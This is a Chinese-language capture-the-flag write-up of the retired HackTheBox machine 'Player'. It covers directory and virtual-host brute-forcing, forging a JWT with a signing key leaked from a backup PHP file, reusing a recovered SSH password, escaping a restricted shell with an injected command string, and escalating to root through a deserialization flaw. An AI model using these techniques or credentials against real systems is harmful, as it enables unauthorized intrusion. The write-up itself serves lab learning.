本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.145
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.145 -o ./Player-autorecon
根据上面信息发现开放了两个ssh端口,怀疑可能是一个端口是普通权限另一个为root权限,先看看80端口
开始目录爆破
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://player.htb -t 100 -x php
爆破出来存在URI地址:/launcher
看到有个提交电子邮件的地址,提交一下使用burp拦截查看数据包
发现目标靶机会设置一个cookie数据,通过base64解码得知是标准的JWT,具体JWT可参考:https://zhuanlan.zhihu.com/p/86937325
开始枚举域名地址
wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -H 'Host: FUZZ.player.htb' -t 100 --sc 200 -u http://10.10.10.145
通过绑定上述获取的hostname名称访问得到如下信息
根据上述信息发现http://staging.player.htb/contact.html可以提交信息,尝试提交了一个邮箱和测试信息使用burp查看到敏感信息,期间页面被强制重定向到一个501响应码的页面
发现目标靶机创建了文件fix.php , service_config这两个文件,猜测是否存在敏感信息泄露,因为在创建和编辑的时候会生成~类似的文件,我们上面访问一个域名的时候请求过一个URL地址,对应的是 dee8dc8a47256c64630d803a4c40786c.php文件,我们使用此类似的方式请求一把
内容如下:
<?php require 'vendor/autoload.php'; use FirebaseJWTJWT; if(isset($_COOKIE["access"])) { $key = '_S0_R@nd0m_P@ss_'; $decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']); if($decoded->access_code === "0E76658526655756207688271159624026011393") { header("Location: 7F2xxxxxxxxxxxxx/"); } else { header("Location: index.html"); } } else { $token_payload = [ 'project' => 'PlayBuff', 'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03' ]; $key = '_S0_R@nd0m_P@ss_'; $jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256'); $cookiename = 'access'; setcookie('access',$jwt, time() + (86400 * 30), "/"); header("Location: index.html"); } ?>
最后通过 https://jwt.io/#debugger-io 成功访问后台上传页面,看到一个avi格式的音频文件,解析音频文件内容发现用户和密码
用户telegen密码:d-bC|jC!2uepS/w
开始尝试直接连接此用户发现登陆shell有限制,于是通过制定shell环境登陆到目标靶机
ssh telegen@10.10.10.145 -p 6686 "'echo'&&'bash'"
通过序列化漏洞写入公钥至目标root用户目录下直接提权
ssh连接到目标靶机root用户